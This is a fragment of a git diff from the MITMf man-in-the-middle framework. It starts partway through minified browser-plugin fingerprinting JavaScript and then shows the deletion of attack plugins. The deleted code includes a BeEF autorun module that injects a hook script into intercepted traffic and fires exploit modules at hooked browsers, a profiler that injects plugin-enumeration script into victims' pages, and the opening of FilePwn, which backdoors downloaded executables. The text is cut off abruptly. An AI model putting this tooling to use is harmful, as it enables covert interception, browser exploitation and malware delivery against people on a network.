lsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA","clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"],mimeType:["application/java-deployment-toolkit","application/npruntime-scriptable-plugin;DeploymentToolkit"],isDisabled:function(p){var q=this;if(q.HTML){return 1}if(p||PluginDetect.dbug){return 0}if(q.hasRun||!PluginDetect.DOM.isEnabled.objectTagUsingActiveX()){return 1}return 0},query:function(B){var z=this,t=a,A,v,p=PluginDetect.DOM.altHTML,u={},q,s=null,w=null,r=z.isDisabled(B);z.hasRun=1;if(r){return z}z.status=0;if(PluginDetect.DOM.isEnabled.objectTagUsingActiveX()){for(A=0;A0?1:-1;for(A=0;A0){p.version=q;p.mimeObj=s;p.pluginObj=r;p.mimetype=s.type;}}},query:function(){var t=this,s=a,w,v,B,A,z,r,q=navigator.mimeTypes,p=t.isDisabled();t.hasRun=1;if(p){return t}r=q.length;if(PluginDetect.isNum(r)){for(w=0;w=5){p="1,"+RegExp.$1+","+(RegExp.$2?RegExp.$2:"0")+","+(RegExp.$3?RegExp.$3:"0");}return p},getPluginNum:function(){var s=this,q=a,p=0,u,t,r,w,v=0;r=/Java[^\d]*Plug-in/i;w=PluginDetect.pd.findNavPlugin({find:r,num:1,mimes:q.mimeType,plugins:1,dbug:v});if(w){u=s.checkPluginNum(w.description,r);t=s.checkPluginNum(w.name,r);p=u&&t?(PluginDetect.compareNums(u,t)>0?u:t):(u||t)}if(!p){r=/Java.*\d.*Plug-in/i;w=PluginDetect.pd.findNavPlugin({find:r,mimes:q.mimeType,plugins:1,dbug:v});if(w){u=s.checkPluginNum(w.description,r);t=s.checkPluginNum(w.name,r);p=u&&t?(PluginDetect.compareNums(u,t)>0?u:t):(u||t)}}return p},checkPluginNum:function(s,r){var p,q;p=r.test(s)?PluginDetect.formatNum(PluginDetect.getNum(s)):0;if(p&&PluginDetect.compareNums(p,PluginDetect.formatNum("10"))>=0){q=p.split(PluginDetect.splitNumRegx);p=PluginDetect.formatNum("1,"+(parseInt(q[0],10)-3)+",0,"+q[1])}if(p&&(PluginDetect.compareNums(p,PluginDetect.formatNum("1,3"))<0||PluginDetect.compareNums(p,PluginDetect.formatNum("2"))>=0)){p=0}return p},query:function(){var t=this,s=a,r,p=0,q=t.hasRun||!s.navigator.mimeObj;t.hasRun=1;if(q){return t}if(!p||PluginDetect.dbug){r=t.getPlatformNum();if(r){p=r}}if(!p||PluginDetect.dbug){r=t.getPluginNum();if(r){p=r}}if(p){t.version=PluginDetect.formatNum(p)}return t}},applet:{codebase:{isMin:function(p){this.$$=a;return PluginDetect.codebase.isMin(this,p)},search:function(){this.$$=a;return PluginDetect.codebase.search(this)},DIGITMAX:[[15,128],[6,0,512],0,[1,5,2,256],0,[1,4,1,1],[1,4,0,64],[1,3,2,32]],DIGITMIN:[1,0,0,0],Upper:["999","10","5,0,20","1,5,0,20","1,4,1,20","1,4,1,2","1,4,1","1,4"],Lower:["10","5,0,20","1,5,0,20","1,4,1,20","1,4,1,2","1,4,1","1,4","0"],convert:[function(r,q){return q?[parseInt(r[0],10)>1?"99":parseInt(r[1],10)+3+"",r[3],"0","0"]:["1",parseInt(r[0],10)-3+"","0",r[1]]},function(r,q){return q?[r[1],r[2],r[3]+"0","0"]:["1",r[0],r[1],r[2].substring(0,r[2].length-1||1)]},0,function(r,q){return q?[r[0],r[1],r[2],r[3]+"0"]:[r[0],r[1],r[2],r[3].substring(0,r[3].length-1||1)]},0,1,function(r,q){return q?[r[0],r[1],r[2],r[3]+"0"]:[r[0],r[1],r[2],r[3].substring(0,r[3].length-1||1)]},1]},results:[[null,null],[null,null],[null,null],[null,null]],getResult:function(){var q=this,s=q.results,p,r=[];for(p=s.length-1;p>=0;p--){r=s[p];if(r[0]){break}}r=[].concat(r);return r},DummySpanTagHTML:0,HTML:[0,0,0,0],active:[0,0,0,0],DummyObjTagHTML:0,DummyObjTagHTML2:0,allowed:[1,1,1,1],VerifyTagsHas:function(q){var r=this,p;for(p=0;pp-1&&PluginDetect.isNum(r[p-1])){if(r[p-1]<0){r[p-1]=0}if(r[p-1]>3){r[p-1]=3}q.allowed[p]=r[p-1]}}q.allowed[0]=q.allowed[3];}},setVerifyTagsArray:function(r){var q=this,p=a;if(p.getVersionDone===null){q.saveAsVerifyTagsArray(p.getVerifyTagsDefault())}if(PluginDetect.dbug){q.saveAsVerifyTagsArray([3,3,3])}else{if(r){q.saveAsVerifyTagsArray(r)}}},isDisabled:{single:function(q){var p=this;if(p.all()){return 1}if(q==1){return !PluginDetect.DOM.isEnabled.objectTag()}if(q==2){return p.AppletTag()}if(q===0){return PluginDetect.codebase.isDisabled()}if(q==3){return !PluginDetect.DOM.isEnabled.objectTagUsingActiveX()}return 1},all_:null,all:function(){var r=this,t=a,q=t.navigator,p,s=PluginDetect.browser;if(r.all_===null){if((s.isOpera&&PluginDetect.compareNums(s.verOpera,"13,0,0,0")<0&&!q.javaEnabled())||(r.AppletTag()&&!PluginDetect.DOM.isEnabled.objectTag())||(!q.mimeObj&&!s.isIE)){p=1}else{p=0}r.all_=p}return r.all_},AppletTag:function(){var q=a,p=q.navigator;return PluginDetect.browser.isIE?!p.javaEnabled():0},VerifyTagsDefault_1:function(){var q=PluginDetect.browser,p=1;if(q.isIE&&!q.ActiveXEnabled){p=0}if((q.isIE&&q.verIE<9)||(q.verGecko&&PluginDetect.compareNums(q.verGecko,PluginDetect.formatNum("2"))<0)||(q.isSafari&&(!q.verSafari||PluginDetect.compareNums(q.verSafari,PluginDetect.formatNum("4"))<0))||(q.isOpera&&PluginDetect.compareNums(q.verOpera,PluginDetect.formatNum("11"))<0)){p=0}return p}},can_Insert_Query:function(s){var q=this,r=q.results[0][0],p=q.getResult()[0];if(q.HTML[s]||(s===0&&r!==null&&!q.isRange(r))||(s===0&&p&&!q.isRange(p))){return 0}return !q.isDisabled.single(s)},can_Insert_Query_Any:function(){var q=this,p;for(p=0;p0||!r.isRange(p));if(!r.can_Insert_Query(s)||t[s]===0){return 0}if(t[s]==3||(t[s]==2.8&&!p)){return 1}if(!q.nonAppletDetectionOk(q.version0)){if(t[s]==2||(t[s]==1&&!p)){return 1}}return 0},should_Insert_Query_Any:function(){var q=this,p;for(p=0;p]/).test(p||"")?(p.charAt(0)==">"?1:-1):0},setRange:function(q,p){return(q?(q>0?">":"<"):"")+(PluginDetect.isString(p)?p:"")},insertJavaTag:function(z,w,p,s,D){var t=a,v="A.class",A=PluginDetect.file.getValid(t),y=A.name+A.ext,x=A.path;var u=["archive",y,"code",v],E=(s?["width",s]:[]).concat(D?["height",D]:[]),r=["mayscript","true"],C=["scriptable","true","codebase_lookup","false"].concat(r),B=t.navigator,q=!PluginDetect.browser.isIE&&B.mimeObj&&B.mimeObj.type?B.mimeObj.type:t.mimeType[0];if(z==1){return PluginDetect.browser.isIE?PluginDetect.DOM.insert("object",["type",q].concat(E),["codebase",x].concat(u).concat(C),p,t,0,w):PluginDetect.DOM.insert("object",["type",q].concat(E),["codebase",x].concat(u).concat(C),p,t,0,w)}if(z==2){return PluginDetect.browser.isIE?PluginDetect.DOM.insert("applet",["alt",p].concat(r).concat(u).concat(E),["codebase",x].concat(C),p,t,0,w):PluginDetect.DOM.insert("applet",["codebase",x,"alt",p].concat(r).concat(u).concat(E),[].concat(C),p,t,0,w)}if(z==3){return PluginDetect.browser.isIE?PluginDetect.DOM.insert("object",["classid",t.classID].concat(E),["codebase",x].concat(u).concat(C),p,t,0,w):PluginDetect.DOM.insert()}if(z==4){return PluginDetect.DOM.insert("embed",["codebase",x].concat(u).concat(["type",q]).concat(C).concat(E),[],p,t,0,w)}return PluginDetect.DOM.insert()},insertIframe:function(p){return PluginDetect.DOM.iframe.insert(99,p)},insert_Query_Any:function(w){var q=this,r=a,y=PluginDetect.DOM,u=q.results,x=q.HTML,p=y.altHTML,t,s,v=PluginDetect.file.getValid(r);if(q.should_Insert_Query(0)){if(r.OTF<2){r.OTF=2}u[0]=[0,0];t=w?q.codebase.isMin(w):q.codebase.search();if(t){u[0][0]=w?q.setRange(t,w):t}q.active[0]=t?1.5:-1}if(!v){return q.getResult()}if(!q.DummySpanTagHTML){s=q.insertIframe("applet.DummySpanTagHTML");q.DummySpanTagHTML=y.insert("",[],[],p,0,0,s);y.iframe.close(s)}if(q.should_Insert_Query(1)){if(r.OTF<2){r.OTF=2}s=q.insertIframe("applet.HTML[1]");x[1]=q.insertJavaTag(1,s,p);y.iframe.close(s);u[1]=[0,0];q.query(1)}if(q.should_Insert_Query(2)){if(r.OTF<2){r.OTF=2}s=q.insertIframe("applet.HTML[2]");x[2]=q.insertJavaTag(2,s,p);y.iframe.close(s);u[2]=[0,0];q.query(2)}if(q.should_Insert_Query(3)){if(r.OTF<2){r.OTF=2}s=q.insertIframe("applet.HTML[3]");x[3]=q.insertJavaTag(3,s,p);y.iframe.close(s);u[3]=[0,0];q.query(3)}if(y.isEnabled.objectTag()){if(!q.DummyObjTagHTML&&(x[1]||x[2])){s=q.insertIframe("applet.DummyObjTagHTML");q.DummyObjTagHTML=y.insert("object",["type",r.mimeType_dummy],[],p,0,0,s);y.iframe.close(s)}if(!q.DummyObjTagHTML2&&x[3]){s=q.insertIframe("applet.DummyObjTagHTML2");q.DummyObjTagHTML2=y.insert("object",["classid",r.classID_dummy],[],p,0,0,s);y.iframe.close(s)}}r.NOTF.init();return q.getResult()}},NOTF:{count:0,count2:0,countMax:25,intervalLength:250,init:function(){var q=this,p=a;if(p.OTF<3&&q.shouldContinueQuery()){p.OTF=3;PluginDetect.ev.setTimeout(q.onIntervalQuery,q.intervalLength);}},allHTMLloaded:function(){var r=a.applet,q,p=[r.DummySpanTagHTML,r.DummyObjTagHTML,r.DummyObjTagHTML2].concat(r.HTML);for(q=0;q2){return p}}else{t.count2=t.count}for(q=0;q=2||(r.allowed[q]==1&&!r.getResult()[0]))&&(!t.count||t.isAppletActive(q)>=0)){p=1}}}return p},isJavaActive:function(s){var u=this,r=a,p,q,t=-9;for(p=0;pt){t=q}}return t},isAppletActive:function(t,u){var v=this,q=a,A=q.navigator,p=q.applet,w=p.HTML[t],s=p.active,z,r=0,y,B=s[t];if(u||B>=1.5||!w||!w.span()){return B}y=PluginDetect.DOM.getTagStatus(w,p.DummySpanTagHTML,p.DummyObjTagHTML,p.DummyObjTagHTML2,v.count);for(z=0;z0){r=1}}if(y!=1){B=y}else{if(PluginDetect.browser.isIE||(q.version0&&A.javaEnabled()&&A.mimeObj&&(w.tagName=="object"||r))){B=1}else{B=0}}s[t]=B;return B},onIntervalQuery:function(){var q=a.NOTF,p;q.count++;if(a.OTF==3){p=q.queryAllApplets();if(!q.shouldContinueQuery()){q.queryCompleted(p)}}if(a.OTF==3){PluginDetect.ev.setTimeout(q.onIntervalQuery,q.intervalLength)}},queryAllApplets:function(){var t=this,s=a,r=s.applet,q,p;for(q=0;q=4){return}q.OTF=4;r.isJavaActive();q.setPluginStatus(p[0],p[1],0);PluginDetect.ev.callArray(q.DoneHndlrs);}}};PluginDetect.addPlugin("java",a);var m={getVersion:function(){var r=this,p=null,q;if((!q||PluginDetect.dbug)&&r.nav.query().installed){q=1}if((!p||PluginDetect.dbug)&&r.nav.query().version){p=r.nav.version}if((!q||PluginDetect.dbug)&&r.axo.query().installed){q=1}if((!p||PluginDetect.dbug)&&r.axo.query().version){p=r.axo.version}r.installed=p?1:(q?0:-1);r.version=PluginDetect.formatNum(p)},nav:{hasRun:0,installed:0,version:null,mimeType:"application/x-devalvrx",query:function(){var s=this,p,r,q=s.hasRun||!PluginDetect.hasMimeType(s.mimeType);s.hasRun=1;if(q){return s}r=PluginDetect.pd.findNavPlugin({find:"DevalVR.*Plug-?in",mimes:s.mimeType,plugins:"DevalVR 3D Plugin"});if(r&&(/Plug-?in(.*)/i).test(r.description||"")){p=PluginDetect.getNum(RegExp.$1)}if(r){s.installed=1}if(p){s.version=p}return s}},axo:{hasRun:0,installed:0,version:null,progID:["DevalVRXCtrl.DevalVRXCtrl","DevalVRXCtrl.DevalVRXCtrl.1"],classID:"clsid:5D2CF9D0-113A-476B-986F-288B54571614",query:function(){var s=this,v=m,q,p,u,r,t=s.hasRun;s.hasRun=1;if(t){return s}for(p=0;p=30226){p[0]="2"}q=p.join(",")}if(q){t.version=q}return t}},axo:{hasRun:0,installed:0,version:null,progID:"AgControl.AgControl",maxdigit:[20,10,10,100,100,10],mindigit:[0,0,0,0,0,0],IsVersionSupported:function(s,q){var p=this;try{return p.testVersion?PluginDetect.compareNums(PluginDetect.formatNum(p.testVersion.join(",")),PluginDetect.formatNum(q.join(",")))>=0:s.IsVersionSupported(p.format(q))}catch(r){}return 0},format:function(q){var p=this;return(q[0]+"."+q[1]+"."+q[2]+p.make2digits(q[3])+p.make2digits(q[4])+"."+q[5])},make2digits:function(p){return(p<10?"0":"")+p+""},query:function(){var r=this,q,v,s=r.hasRun;r.hasRun=1;if(s){return r}v=PluginDetect.getAXO(r.progID);if(v){r.installed=1}if(v&&r.IsVersionSupported(v,r.mindigit)){var p=[].concat(r.mindigit),u,t=0;for(q=0;q1&&u<20){u++;t++;p[q]=Math.round((r.maxdigit[q]+r.mindigit[q])/2);if(r.IsVersionSupported(v,p)){r.mindigit[q]=p[q]}else{r.maxdigit[q]=p[q]}}p[q]=r.mindigit[q]}r.version=r.format(p);}return r}}};PluginDetect.addPlugin("silverlight",h);var f={compareNums:function(s,r){var A=s.split(PluginDetect.splitNumRegx),y=r.split(PluginDetect.splitNumRegx),w,q,p,v,u,z;for(w=0;w0)?RegExp.$2.charCodeAt(0):-1;z=/([\d]+)([a-z]?)/.test(y[w]);p=parseInt(RegExp.$1,10);u=(w==2&&RegExp.$2.length>0)?RegExp.$2.charCodeAt(0):-1;if(q!=p){return(q>p?1:-1)}if(w==2&&v!=u){return(v>u?1:-1)}}return 0},setPluginStatus:function(r,p,s){var q=this;q.installed=p?1:(s?(s>0?0.7:-0.1):(r?0:-1));if(p){q.version=PluginDetect.formatNum(p)}q.getVersionDone=q.installed==0.7||q.installed==-0.1?0:1;},getVersion:function(s){var t=this,r,p=null,q;if((!r||PluginDetect.dbug)&&t.nav.query().installed){r=1}if((!p||PluginDetect.dbug)&&t.nav.query().version){p=t.nav.version}if((!r||PluginDetect.dbug)&&t.axo.query().installed){r=1}if((!p||PluginDetect.dbug)&&t.axo.query().version){p=t.axo.version}if(!p||PluginDetect.dbug){q=t.codebase.isMin(s);if(q){t.setPluginStatus(0,0,q);return}}if(!p||PluginDetect.dbug){q=t.codebase.search();if(q){r=1;p=q}}t.setPluginStatus(r,p,0)},nav:{hasRun:0,installed:0,version:null,mimeType:["application/x-vlc-plugin","application/x-google-vlc-plugin","application/mpeg4-muxcodetable","application/x-matroska","application/xspf+xml","video/divx","video/webm","video/x-mpeg","video/x-msvideo","video/ogg","audio/x-flac","audio/amr","audio/amr"],find:"VLC.*Plug-?in",find2:"VLC|VideoLAN",avoid:"Totem|Helix",plugins:["VLC Web Plugin","VLC Multimedia Plug-in","VLC Multimedia Plugin","VLC multimedia plugin"],query:function(){var s=this,p,r,q=s.hasRun||!PluginDetect.hasMimeType(s.mimeType);s.hasRun=1;if(q){return s}r=PluginDetect.pd.findNavPlugin({find:s.find,avoid:s.avoid,mimes:s.mimeType,plugins:s.plugins});if(r){s.installed=1;if(r.description){p=PluginDetect.getNum(r.description+"","[\\d][\\d\\.]*[a-z]*")}if(p){s.version=p}}return s}},axo:{hasRun:0,installed:0,version:null,progID:"VideoLAN.VLCPlugin",query:function(){var q=this,s,p,r=q.hasRun;q.hasRun=1;if(r){return q}s=PluginDetect.getAXO(q.progID);if(s){q.installed=1;p=PluginDetect.getNum(PluginDetect.pd.getPROP(s,"VersionInfo"),"[\\d][\\d\\.]*[a-z]*");if(p){q.version=p}}return q}},codebase:{classID:"clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921",isMin:function(p){this.$$=f;return PluginDetect.codebase.isMin(this,p)},search:function(){this.$$=f;return PluginDetect.codebase.search(this)},DIGITMAX:[[11,11,16]],DIGITMIN:[0,0,0,0],Upper:["999"],Lower:["0"],convert:[1]}};PluginDetect.addPlugin("vlc",f);var c={OTF:null,setPluginStatus:function(){var p=this,B=p.OTF,v=p.nav.detected,x=p.nav.version,z=p.nav.precision,C=z,u=x,s=v>0;var H=p.axo.detected,r=p.axo.version,w=p.axo.precision,D=p.doc.detected,G=p.doc.version,t=p.doc.precision,E=p.doc2.detected,F=p.doc2.version,y=p.doc2.precision;u=F||u||r||G;C=y||C||w||t;s=E>0||s||H>0||D>0;u=u||null;p.version=PluginDetect.formatNum(u);p.precision=C;var q=-1;if(B==3){q=p.version?0.5:-0.5}else{if(u){q=1}else{if(s){q=0}else{if(H==-0.5||D==-0.5){q=-0.15}else{if(PluginDetect.browser.isIE&&(!PluginDetect.browser.ActiveXEnabled||PluginDetect.browser.ActiveXFilteringEnabled)){q=-1.5}}}}}p.installed=q;if(p.getVersionDone!=1){var A=1;if((p.verify&&p.verify.isEnabled())||p.installed==0.5||p.installed==-0.5){A=0}else{if(p.doc2.isDisabled()==1){A=0}}p.getVersionDone=A}},getVersion:function(s,r){var p=this,q=0,t=p.verify;if(p.getVersionDone===null){p.OTF=0;if(t){t.init()}}PluginDetect.file.save(p,".pdf",r);if(p.getVersionDone===0){p.doc2.insertHTMLQuery();p.setPluginStatus();return}if((!q||PluginDetect.dbug)&&p.nav.query().version){q=1}if((!q||PluginDetect.dbug)&&p.axo.query().version){q=1}if((!q||PluginDetect.dbug)&&p.doc.query().version){q=1}if(1){p.doc2.insertHTMLQuery()}p.setPluginStatus()},getPrecision:function(v,u,t){if(PluginDetect.isString(v)){u=u||"";t=t||"";var q,s="\\d+",r="[\\.]",p=[s,s,s,s];for(q=4;q>0;q--){if((new RegExp(u+p.slice(0,q).join(r)+t)).test(v)){return q}}}return 0},nav:{detected:0,version:null,precision:0,mimeType:["application/pdf","application/vnd.adobe.pdfxml"],find:"Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in",plugins:["Adobe Acrobat","Adobe Acrobat and Reader Plug-in","Adobe Reader Plugin"],query:function(){var r=this,q,p=null;if(r.detected||!PluginDetect.hasMimeType(r.mimeType)){return r}q=PluginDetect.pd.findNavPlugin({find:r.find,mimes:r.mimeType,plugins:r.plugins});r.detected=q?1:-1;if(q){p=PluginDetect.getNum(q.description)||PluginDetect.getNum(q.name);p=PluginDetect.getPluginFileVersion(q,p);if(!p){p=r.attempt3()}if(p){r.version=p;r.precision=c.getPrecision(p)}}return r},attempt3:function(){var p=null;if(PluginDetect.OS==1){if(PluginDetect.hasMimeType("application/vnd.adobe.pdfxml")){p="9"}else{if(PluginDetect.hasMimeType("application/vnd.adobe.x-mars")){p="8"}else{if(PluginDetect.hasMimeType("application/vnd.adobe.xfdf")){p="6"}}}}return p}},activexQuery:function(w){var u="",t,q,s,r,p={precision:0,version:null};try{if(w){u=w.GetVersions()+"";}}catch(v){}if(u&&PluginDetect.isString(u)){t=/\=\s*[\d\.]+/g;r=u.match(t);if(r){for(q=0;q0)){p.version=s}}p.precision=c.getPrecision(u,"\\=\\s*")}}return p},axo:{detected:0,version:null,precision:0,progID:["AcroPDF.PDF","AcroPDF.PDF.1","PDF.PdfCtrl","PDF.PdfCtrl.5","PDF.PdfCtrl.1"],progID_dummy:"AcroDUMMY.DUMMY",query:function(){var t=this,q=c,u,v,s,r,p,w;if(t.detected){return t}t.detected=-1;v=PluginDetect.getAXO(t.progID_dummy);if(!v){w=PluginDetect.errObj}for(p=0;p0||w?1:(q==-0.1||q==-0.5?-0.5:-1);if(w){y.version=w}if(t){y.precision=t}return y}},doc2:{detected:0,version:null,precision:0,classID:"clsid:CA8A9780-280D-11CF-A24D-444553540000",mimeType:"application/pdf",HTML:0,count:0,count2:0,time2:0,intervalLength:50,maxCount:150,isDisabled:function(){var r=this,v=c,u=v.axo,p=v.nav,x=v.doc,w,t,q=0,s;if(r.HTML){q=2}else{if(PluginDetect.dbug){}else{if(!PluginDetect.DOM.isEnabled.objectTagUsingActiveX()){q=2}else{w=(p?p.version:0)||(u?u.version:0)||(x?x.version:0)||0;t=(p?p.precision:0)||(u?u.precision:0)||(x?x.precision:0)||0;if(!w||!t||t>2||PluginDetect.compareNums(PluginDetect.formatNum(w),PluginDetect.formatNum("11"))<0){q=2}}}}if(q<2){s=PluginDetect.file.getValid(v);if(!s||!s.full){q=1}}return q},handlerSet:0,onMessage:function(){var p=this;return function(q){if(p.version){return}p.detected=1;if(PluginDetect.isArray(q)){q=q[0]}q=PluginDetect.getNum(q+"");if(q){if(!(/[.,_]/).test(q)){q+="."}q+="00000";if((/^(\d+)[.,_](\d)(\d\d)(\d\d)/).test(q)){q=RegExp.$1+","+RegExp.$2+","+RegExp.$3+","+RegExp.$4}p.version=PluginDetect.formatNum(q);p.precision=3;c.setPluginStatus()}}},isDefinedMsgHandler:function(q,r){try{return q?q.messageHandler!==r:0}catch(p){}return 1},queryObject:function(){var r=this,s=r.HTML,q=s?s.obj():0;if(!q){return}if(!r.handlerSet&&r.isDefinedMsgHandler(q)){try{q.messageHandler={onMessage:r.onMessage()}}catch(p){}r.handlerSet=1;r.count2=r.count;r.time2=(new Date()).getTime()}if(!r.detected){if(r.count>3&&!r.handlerSet){r.detected=-1}else{if(r.time2&&r.count-r.count2>=r.maxCount&&(new Date()).getTime()-r.time2>=r.intervalLength*r.maxCount){r.detected=-0.5}}}if(r.detected){if(r.detected!=-1){}}},insertHTMLQuery:function(){var u=this,p=c,r=PluginDetect.DOM.altHTML,q,s,t=0;if(u.isDisabled()){return u}if(p.OTF<2){p.OTF=2}q=PluginDetect.file.getValid(p).full;s=PluginDetect.DOM.iframe.insert(0,"Adobe Reader");PluginDetect.DOM.iframe.write(s,'' % (self.ip_address, beefconfig['beefport']) - - beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']}) - if not beef.login(beefconfig['user'], beefconfig['pass']): - sys.exit("[-] Error logging in to BeEF!") - - self.tree_output.append("Mode: %s" % self.Mode) - - t = threading.Thread(name="autorun", target=self.autorun, args=(beef,)) - t.setDaemon(True) - t.start() - - def autorun(self, beef): - already_ran = [] - already_hooked = [] - - while True: - sessions = beef.sessions_online() - if (sessions is not None and len(sessions) > 0): - for session in sessions: - - if session not in already_hooked: - info = beef.hook_info(session) - mitmf_logger.info("%s >> joined the horde! [id:%s, type:%s-%s, os:%s]" % (info['ip'], info['id'], info['name'], info['version'], info['os'])) - already_hooked.append(session) - self.black_ips.append(str(info['ip'])) - - if self.Mode == 'oneshot': - if session not in already_ran: - self.execModules(session, beef) - already_ran.append(session) - - elif self.Mode == 'loop': - self.execModules(session, beef) - sleep(10) - - else: - sleep(1) - - def execModules(self, session, beef): - session_info = beef.hook_info(session) - session_ip = session_info['ip'] - hook_browser = session_info['name'] - hook_os = session_info['os'] - - if len(self.All_modules) > 0: - mitmf_logger.info("%s >> sending generic modules" % session_ip) - for module, options in self.All_modules.iteritems(): - mod_id = beef.module_id(module) - resp = beef.module_run(session, mod_id, json.loads(options)) - if resp["success"] == 'true': - mitmf_logger.info('%s >> sent module %s' % (session_ip, mod_id)) - else: - mitmf_logger.info('%s >> ERROR sending module %s' % (session_ip, mod_id)) - sleep(0.5) - - mitmf_logger.info("%s >> sending targeted modules" % session_ip) - for os in self.Targeted_modules: - if (os in hook_os) or (os == hook_os): - browsers = self.Targeted_modules[os] - if len(browsers) > 0: - for browser in browsers: - if browser == hook_browser: - modules = self.Targeted_modules[os][browser] - if len(modules) > 0: - for module, options in modules.iteritems(): - mod_id = beef.module_id(module) - resp = beef.module_run(session, mod_id, json.loads(options)) - if resp["success"] == 'true': - mitmf_logger.info('%s >> sent module %s' % (session_ip, mod_id)) - else: - mitmf_logger.info('%s >> ERROR sending module %s' % (session_ip, mod_id)) - sleep(0.5) diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py deleted file mode 100644 index 8f3afa1..0000000 --- a/plugins/BrowserProfiler.py +++ /dev/null @@ -1,129 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -from plugins.plugin import Plugin -from plugins.Inject import Inject -from pprint import pformat -import logging - -mitmf_logger = logging.getLogger('mitmf') - -class BrowserProfiler(Inject, Plugin): - name = "Browser Profiler" - optname = "browserprofiler" - desc = "Attempts to enumerate all browser plugins of connected clients" - implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"] - depends = ["Inject"] - version = "0.2" - has_opts = False - - def initialize(self, options): - Inject.initialize(self, options) - self.html_payload = self.get_payload() - self.dic_output = {} # so other plugins can access the results - - def post2dict(self, post): #converts the ajax post to a dic - dict = {} - for line in post.split('&'): - t = line.split('=') - dict[t[0]] = t[1] - return dict - - def sendPostData(self, request): - #Handle the plugin output - if 'clientprfl' in request.uri: - self.dic_output = self.post2dict(request.postData) - self.dic_output['ip'] = str(request.client.getClientIP()) # add the IP of the client - if self.dic_output['plugin_list'] > 0: - self.dic_output['plugin_list'] = self.dic_output['plugin_list'].split(',') - pretty_output = pformat(self.dic_output) - mitmf_logger.info("%s >> Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output)) - - def get_payload(self): - payload = """""" - - return payload diff --git a/plugins/CacheKill.py b/plugins/CacheKill.py deleted file mode 100644 index b912244..0000000 --- a/plugins/CacheKill.py +++ /dev/null @@ -1,46 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -from plugins.plugin import Plugin - - -class CacheKill(Plugin): - name = "CacheKill" - optname = "cachekill" - desc = "Kills page caching by modifying headers" - implements = ["handleHeader", "connectionMade"] - bad_headers = ['if-none-match', 'if-modified-since'] - version = "0.1" - has_opts = True - - def add_options(self, options): - options.add_argument("--preserve-cookies", action="store_true", help="Preserve cookies (will allow caching in some situations).") - - def handleHeader(self, request, key, value): - '''Handles all response headers''' - request.client.headers['Expires'] = "0" - request.client.headers['Cache-Control'] = "no-cache" - - def connectionMade(self, request): - '''Handles outgoing request''' - request.headers['Pragma'] = 'no-cache' - for h in self.bad_headers: - if h in request.headers: - request.headers[h] = "" diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py deleted file mode 100644 index 987db4d..0000000 --- a/plugins/FilePwn.py +++ /dev/null @@ -1,607 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -# BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something' -# -# Author Joshua Pitts the.midnite.runr 'at' gmail com -# -# Copyright (c) 2013-2014, Joshua Pitts -# All rights reserved. -# -# Redistribution and use in source and binary forms, with or without modification, -# are permitted provided that the following conditions are met: -# -# 1. Redistributions of source code must retain the above copyright notice, -# this list of conditions and the following disclaimer. -# -# 2. Redistributions in binary form must reproduce the above copyright notice, -# this list of conditions and the following disclaimer in the documentation -# and/or other materials provided with the distribution. -# -# 3. Neither the name of the copyright holder nor the names of its contributors -# may be used to endorse or promote products derived from this software without -# specific prior written permission. -# -# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE -# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE -# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF -# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN -# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) -# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -# POSSIBILITY OF SUCH DAMAGE. -# -# Tested on Kali-Linux. - -import sys -import os -import pefile -import 